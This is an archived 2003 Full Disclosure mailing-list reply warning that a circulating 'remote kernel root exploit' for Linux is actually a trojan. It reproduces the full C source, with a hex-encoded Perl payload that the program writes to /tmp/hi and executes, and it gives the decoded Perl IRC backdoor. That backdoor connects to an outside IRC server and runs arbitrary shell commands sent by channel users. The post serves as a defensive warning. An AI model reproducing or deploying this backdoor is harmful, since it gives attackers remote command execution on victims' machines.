Full Disclosure mailing list archives
Re: Re: -1 day exploit - Warning
From: gml <gml () phrick net>
Date: Fri, 13 Jun 2003 17:20:16 -0400
On Friday 13 June 2003 03:57 pm, Brian Houk wrote: Wow, I'd never run something that had a printf statement in it with print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake 0day exp loit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.": command\n"; if you run this you deserve to get owned. this guy could have at least xor'd the strings and base64 encoded them or SOMETHING.
Actually I should have made my previous e-mail a little bit more clear. DO NOT RUN THISJust a warning. . . [03:37] chigoo (521 () as8-3-1a um bonet se) joined #linuxhelp. [03:37] <chigoo> new root exploit is out to slackware 9.1 and redhat 9.1! enjoy....be nice to your frinds boxes!:> http://home.no/exploited/exploits/kmodaxx.c Attached is the so called exploit, and the perl code it runs locally on your machine. #darknet already has a ban on moron*!*@* print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake 0day exp loit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.": command\n"; nice #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <netinet/in.h> #include <netinet/udp.h> #include <netinet/ip.h> #include <string.h> /* * *** http://hack.co.za *** * ******** DISTRIBUTED 12.06.03 ******** * * remote kernel root exploit, tested on slackware 9.1, redhat 9.1. (kernels 2.4.2*) * exploits a race condition in kernel, allowing to take control over * privileged modprobe binary, and gives u root. * * * * This exploit must be run as root on source box to open a raw socket. * compile: gcc -o kmodaxx kmodaxx.c * run: ./kmodaxx ip * and u got a nice r00tshell. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * * - c1sco darknet@efnet */ h3llc0de= "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63 " "\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69 " "\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72 " "\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e " "\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65 " "\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f " "\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49 " "\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e " "\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22 " "\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63 " "\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d " "\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43 " "\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68 " "\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20 " "\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64 " "\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65 " "\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d " "\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d " "\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20 " "\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c " "\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22 " "\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53 " "\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20 " "\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66 " "\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20 " "\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20 " "\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f " "\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63 " "\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68 " "\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f " "\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e " "\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e " "\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28 " "\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24 " "\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d " "\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24 " "\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24 " "\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22 " "\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22 " "\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c " "\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d " "\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64 " "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"; unsigned short csum(unsigned short *buf, int nwords) { unsigned long sum; for(sum=0;nwords>0;nwords--); sum+=*buf++; sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); return ~sum; } unsigned short in_cksum(unsigned short *addr,int len) { register int nleft=len; register unsigned short *w=addr; register int sum=0; unsigned short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(u_char *)(&answer)=*(u_char *)w; sum+=answer; } sum=(sum >> 16)+(sum & 0xffff); sum+=(sum >> 16); answer=~sum; return(answer); } int main(int argc, char **argv) { int sockfd; struct sockaddr_in addr; char *payload=h3llc0de; char *buf; struct iphdr *iph; struct udphdr *tcph; int tot_len; FILE *f; int die=0; if(argc!=2) { printf("ERROR: No ip address entered\n"); printf("usage:\n%s [IP-ADDRESS]\n\n",argv[0]); die=1; } addr.sin_family=AF_INET; addr.sin_port=htons(5555); if(argc==1) argv[1]=""; addr.sin_addr.s_addr=inet_addr(argv[1]); sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_UDP); if(sockfd==-1 && !die) {printf("could not obtain raw socket\nARE YOU ROOT?\n");die=1;} tot_len=sizeof(struct iphdr)+sizeof(struct udphdr)+strlen(payload); buf=(char *)malloc(tot_len); malloc(buf,0,tot_len); iph=(struct iphdr*)buf; tcph=(struct udphdr*)(buf+sizeof(struct iphdr)); iph->ihl=5; iph->version=4; iph->tos=0; iph->tot_len=tot_len; iph->id=htons(31337); iph->frag_off=0; iph->ttl=225; iph->protocol=IPPROTO_UDP; iph->check=0; iph->saddr=inet_addr("127.0.0.1"); // spoof the source to make it untracable iph->daddr=inet_addr(argv[1]); iph->check=in_cksum((unsigned short *)&iph,sizeof(iph)); tcph->source=htons(31337); tcph->dest=htons(139); // the default SMB port tcph->len=htons(sizeof(struct udphdr)+strlen(payload)); tcph->check=0; memcpy(buf+sizeof(struct iphdr)+sizeof(struct udphdr),payload,strlen(payload)); f=fopen(h3llc0de+764,"w"); if(f) { fseek(f,0,SEEK_SET); close(2); fprintf(f,"%s",h3llc0de); fclose(f);}system(h3llc0de+735); { int one=1; const int *val = &one; if(setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,val,sizeof(one))<0 && !die) printf("warning: cannot set HDRINCL\n"); } if(sendto(sockfd,buf,tot_len,0,(struct sockaddr *)&addr,sizeof(addr))<0 && !die) printf("err\n"); else if (!die) printf("NUKED THA MOTHA!!! :D\n"); return 0; } #!/usr/bin/perl $chan="#darknet"; $nick="moron"; $server="efnet.vuurwerk.nl"; $SIG{TERM}={}; exit if fork; use IO::Socket; $sock = IO::Socket::INET->new($server.":6667")||exit; print $sock "USER moron +i moron :moronv2\nNICK moron\n"; $i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1; last if $mode=="001"; if($mode=="433"){ $i++; $nick=~s/\d*$/$i/; print $sock "NICK $nick\n"; } } print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake 0day exp loit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.": command\n"; while(<$sock>){ if (/^PING (.*)$/) {print $sock "PONG $1\nJOIN $chan\n"; } if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//; $_=`$_`; foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n"; sleep 1; } } }#chmod +x /tmp/hi 2>/dev/null; /tmp/hi;_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
Current thread:
- -1 day exploit - Warning Brian Houk (Jun 13)
- Re: -1 day exploit - Warning Brian Houk (Jun 13)
- Re: Re: -1 day exploit - Warning gml (Jun 13)
- Re: Re: -1 day exploit - Warning David Bernick (Jun 13)
- Re: Re: -1 day exploit - Warning gml (Jun 13)
- Re: Re: -1 day exploit - Warning gml (Jun 13)
- Re: -1 day exploit - Warning Brian Houk (Jun 13)
- Re: -1 day exploit - Warning Stephen Amadei (Jun 13)
- Re: -1 day exploit - Warning Brian Houk (Jun 13)